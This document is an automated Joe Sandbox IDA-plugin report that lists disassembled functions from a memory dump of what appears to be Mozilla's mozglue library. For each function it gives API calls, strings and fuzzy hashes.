Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction ID: 6daefe3bf2379c1b41a40a69757f2ed44dc9c9215d8dcfffa6fad5e915e2f03b
Opcode Fuzzy Hash: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction Fuzzy Hash: 6B31F871E0434897DF01DB69CC449FEB778EF96208F44D229ED4957612FB31A988C398

Function 6C629D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C628273), ref: 6C629D65
free.MOZGLUE(6C628273,?), ref: 6C629D7C
free.MOZGLUE(?,?), ref: 6C629D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C629E0F
free.MOZGLUE(6C62946B,?,?), ref: 6C629E24
free.MOZGLUE(?,?,?), ref: 6C629E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C629EC8
free.MOZGLUE(6C62946B,?,?,?), ref: 6C629EDF
free.MOZGLUE(?,?,?,?), ref: 6C629EF5

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction ID: e92143d601f4e33e888a683d0d706c4ab2d534824c9a275faa4438dbfc869fb7
Opcode Fuzzy Hash: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction Fuzzy Hash: C771BE70909B41CBC716CF18C88055AF7F5FFD9318B809A59E99A5BB01EB30E886CF81

Function 6C62DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C62DDCF

Part of subcall function 6C60FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C60FA4B

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE0D
free.MOZGLUE(00000000), ref: 6C62DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF32

Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DB86
Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF65
free.MOZGLUE(?), ref: 6C62DF80

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction ID: 84673341253f0ce5c9103d1259b7aa0491cdf0cea04f70ca848b03d34337e562
Opcode Fuzzy Hash: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction Fuzzy Hash: 1251C5726016019BD720DB28C8806EEB3B2BFD6308F95451CD99A53B00D739F91ACF8E

Function 6C635D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DC9
std::_Facet_Register.LIBCPMT ref: 6C635DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E45

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction ID: 0f614f6ce7983ee76c808223fd4fe8afe700b2de1f336471ab415d64ed617857
Opcode Fuzzy Hash: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction Fuzzy Hash: F5416C307002159FCB04DF66C8D8AAE77F5EF89318F545168E50A9B791EB34E805CBAD

Function 6C60CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5D31A7), ref: 6C60CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C60CFA4, 6C60CFB8
<jemalloc>, xrefs: 6C60CF9F, 6C60CFB3

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
Instruction ID: 973a96298734e7b0bef77ef334e780561bb1ca0ae2168f629a6c4a96bf8108ee
Opcode Fuzzy Hash: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
Instruction Fuzzy Hash: 6F31A4307402056BEF18AFA98D85BAE7B75AF81758F704014F612BBA80DB70D501CBBE

Function 6C5DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5DEDCC
CreateFileW.KERNEL32 ref: 6C5DEE08
free.MOZGLUE(00000000), ref: 6C5DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5DEE32

Part of subcall function 6C5DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5DEBB5
Part of subcall function 6C5DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C60D7F3), ref: 6C5DEBC3
Part of subcall function 6C5DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C60D7F3), ref: 6C5DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5DEDC1

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction ID: b16a77972cfc94c6aae75c994df6a28742b7824e567fd348577d68d48020b852
Opcode Fuzzy Hash: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction Fuzzy Hash: E351BF71D05305CBDB00EF69CC806AEF7B1EF49318F45892DD8556B740EB70B9488BAA

Function 6C64A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A565

Part of subcall function 6C64A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64A4BE
Part of subcall function 6C64A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C64A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C64A6B6

Strings

0, xrefs: 6C64A5FB
z, xrefs: 6C64A6AE

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction ID: 24cbc72bd3d5390b5212edcceff619912e7f5c7f65775dc0a55415a0ae2abf42
Opcode Fuzzy Hash: c3921916b56788db1bf5e0d8df5e33da266daa9e62dc192df2b27fe188fde355
Instruction Fuzzy Hash: D8413771908745AFC341DF28C480A8FBBE5BF8A354F50CA2EF49987651EB30E549CB86

Function 6C619420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
__Init_thread_footer.LIBCMT ref: 6C61949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C619459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C61947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C61946B

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction ID: c007017edff905cf0b2949cc2b812e04e40c196ad86ae241fd1f0955dd370340
Opcode Fuzzy Hash: 053abd58d5580ae8042e636ee053eb9b44cd2b358935aec1a55b0456c535681f
Instruction Fuzzy Hash: 0301D870B041018BD700DB5FDD51A9A33759F0A32EF644536DD0BC6F52D722D465895F

Function 6C5DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6AC

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5DB61E), ref: 6C5DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5DB61E,?,?,?,?,?,00000000), ref: 6C5DB79A

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction ID: f973d5a1bf15b3c4ea8f3b830fa7fd625e232a04d1dea47779d48892fb9e9a0c
Opcode Fuzzy Hash: 9d3143ad546097b6b7f0224d05b166680fdf5310aace739ae972ca6783f6ea42
Instruction Fuzzy Hash: 8641B5B2D002159FCB04DF6CDC805AEB7B6BB85324F264669E825E7780E731ED0487D9

Function 6C64B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C64B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C64B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C64B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C64B5F4
__Init_thread_footer.LIBCMT ref: 6C64B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C64B61F
std::_Facet_Register.LIBCPMT ref: 6C64B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64B655

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction ID: b3bf56f88296c04a18f5d9e09ee32895035bbe960e667af5f5d7442c650ec561
Opcode Fuzzy Hash: 3ed06060b659364213876274a287afdab5956058ed56047761a6dc249554f70e
Instruction Fuzzy Hash: 29317471B001048BCF04EF6AC8985AEB7F5FBC6324F644655D94697780DB71A806CF9E

Function 6C616590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C60FA80: GetCurrentThreadId.KERNEL32 ref: 6C60FA8D
Part of subcall function 6C60FA80: AcquireSRWLockExclusive.KERNEL32(6C65F448), ref: 6C60FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6167C8

Part of subcall function 6C624290: memcpy.VCRUNTIME140(?,?,6C632003,6C630AD9,?,6C630AD9,00000000,?,6C630AD9,?,00000004,?,6C631A62,?,6C632003,?), ref: 6C6242C4

Strings

vel, xrefs: 6C61696C
data, xrefs: 6C616593

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vel
API String ID: 511789754-235608994
Opcode ID: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction ID: e2952a0a1c09cdf61be258c86701e719cc1201f4f273b862ec1979ac7733a104
Opcode Fuzzy Hash: e449f2bb597fdb18dfdc715646ff949e7f981c1deb10b6cf73e9d774dcda3241
Instruction Fuzzy Hash: E4D1BF75A083408BD724DF29C840B9BB7E5EFC5308F10892DD58987B91EB71E809CB5A

Function 6C60D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5DEB57,?,?,?,?,?,?,?,?,?), ref: 6C60D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5DEB57,?), ref: 6C60D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5DEB57,?), ref: 6C60D673
free.MOZGLUE(?), ref: 6C60D888

Strings

|Enabled, xrefs: 6C60D81E
W]l, xrefs: 6C60D5D9, 6C60D63F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W]l$|Enabled
API String ID: 4142949111-2942830398
Opcode ID: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction ID: 99872a2bbca111863dc3e694a459c73417c5726c162ecd48cad435c695c3d7ee
Opcode Fuzzy Hash: 0069ee711264cc39f642ba5d88742f9ff891cd9de472701a5711e8be2f3512a3
Instruction Fuzzy Hash: 90A1F2B0B003049FDB19CF69C9D07AEBBF1AF49318F58815CD885AB741D735A845CBA9

Function 6C621D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C621D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C621BE3,?,?,6C621D96,00000000), ref: 6C621D4C
GetCurrentThreadId.KERNEL32 ref: 6C621DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C621DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C621DDA

Part of subcall function 6C621EF0: GetCurrentThreadId.KERNEL32 ref: 6C621F03
Part of subcall function 6C621EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C621DF2,00000000,00000000), ref: 6C621F0C
Part of subcall function 6C621EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C621F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C621DF4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction ID: 32d6001d44c943ab30f3fa0f92ef8f8e4a3e5ca717e45d1ff8b6c4be8af5a4da
Opcode Fuzzy Hash: 1bff29665ea3e34d96730090efd07c9ad7184695756d00e47904eae99af36cb3
Instruction Fuzzy Hash: 2E4179B52047019FCB14CF29C488A56BBF9FB89354F60442DE99A87B41CB35F854CB99

Function 6C6184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185AC

Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C61767F
